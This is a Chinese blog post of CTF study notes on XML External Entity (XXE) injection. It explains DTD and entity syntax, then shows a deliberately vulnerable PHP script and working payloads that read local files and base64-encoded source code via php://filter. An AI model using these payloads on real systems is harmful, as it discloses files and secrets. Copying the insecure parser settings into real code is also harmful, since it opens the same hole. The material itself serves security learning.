XXE（1）

最新推荐文章于 2024-03-23 10:00:27 发布

1stPeak

最新推荐文章于 2024-03-23 10:00:27 发布

阅读量321

点赞数

分类专栏： CTF储备知识文章标签： html

本文链接：https://blog.csdn.net/qq_41617034/article/details/105350612

版权

CTF储备知识专栏收录该内容

17 篇文章 27 订阅

订阅专栏

XXE简介

XXE：全称XML External Entity Injection，即XML外部实体注入漏洞

知识点

1、XML
2、DTD，这个是最重要的
简介：
（1）内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：
<!DOCTYPE 根元素 [元素声明]>
例如：
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下：
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素："to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

（2）外部文档声明

假如 DTD 位于 XML 源文件的外部，那么它应通过下面的语法被封装在一个 DOCTYPE 定义中：
<!DOCTYPE 根元素 SYSTEM "文件名">

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 "note.dtd" 文件：
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

下面的实体在 XML 中被预定义：
实体引用  字符
&lt;  <
&gt;  >
&amp;   &
&quot;  "
&apos;  '

在 DTD 中，XML 元素通过元素声明来进行声明。元素声明使用下面的语法：
<!ELEMENT 元素名称 类别>
或者
<!ELEMENT 元素名称 (元素内容)>

（3）XXE利用重点：实体
(3)-1：简介
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

(3)-2：一个内部实体声明

语法：
<!ENTITY 实体名称 "实体的值">

例子：
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:
<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

(3)-3：一个外部实体声明

语法：
<!ENTITY 实体名称 SYSTEM "URI/URL">

例子：
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:
<author>&writer;&copyright;</author>

(3)-4：补充
带有任何内容的元素
通过类别关键词 ANY 声明的元素，可包含任何可解析数据的组合：

<!ELEMENT 元素名称 ANY>
例子：
<!ELEMENT note ANY>

理解下面的代码含义：这是POST提交的
上面是一个XXE攻击的Payload
<?xml version="1.0" encoding="utf-8"?>//xml格式必备
<!DOCTYPE root [	(注):内部的DOCTYPE声明，声明一个root根元素
<!ELEMENT root ANY >	(注):定义root根元素的子元素可以是任何组合
<!ENTITY xxx SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" >	(注):声明一个xml代码外的外部实体名叫xxx，SYSTEM后面的是它的值
  ]>	(注):闭合

<root>	(注):XML代码的根元素，也就是上面DTD中的root根元素，这个必须一样，因为上面的DTD就是检查下面的XML代码的
  <user>&xxx;</user>	(注):XML代码的子元素user，&xxx，表示在XML代码内部执行外部DTD的实体函数xxx
  <pass>mypass</pass>	(注):XML代码的子元素pass
</root>	(注):闭合根元素

外部实体注入举例

有回显读取本地文件
漏洞代码：

 <?php
libxml_disable_entity_loader (false);
show_source(__FILE__);
$xmlfile = file_get_contents('php://input');
echo '<br>';
if(strlen($xmlfile)>0){

    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $user = $creds->user;
    $pass = $creds->pass;

    echo "You have logged in as user $user";
}
?>

payload：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [	//foo名称随意
    <!ENTITY xxe SYSTEM "file:///F:/flag.txt" >		//xxe名称随意
    ]>
<root>		//xml根元素名称随意，但必须要有（在当前漏洞源码环境下）
<user>&xxe;</user>		//xxe名称和上面的名称对应，在这里xml中的子元素user和漏洞源码中的对应，不可修改为其它
</root>

有些文件中有<、>等实体，若直接用file读取会导致解析错误，此时可以利用php://filter将内容转换为base64后再读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
    ]>
<root>
    <user>&file;</user>
</root>

特别注意：

实体名称命名不能以数字开头，例如上面的xxx
使用bp时，需要添加Content-Type: application/xml
payload中xml的根元素
xml形式的数据传输e.g:<user>admin</user>

浅显地了解了xxe，后续再深入研究。

1stPeak

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
打赏
0
评论
XXE（1）

XXE简介XXE：全称XML External Entity Injection，即XML外部实体注入漏洞知识点1、XML2、DTD，这个是最重要的简介：（1）内部的 DOCTYPE 声明假如 DTD 被包含在您的 XML 源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：<!DOCTYPE 根元素 [元素声明]>例如：<!DOCTYPE no...
复制链接

扫一扫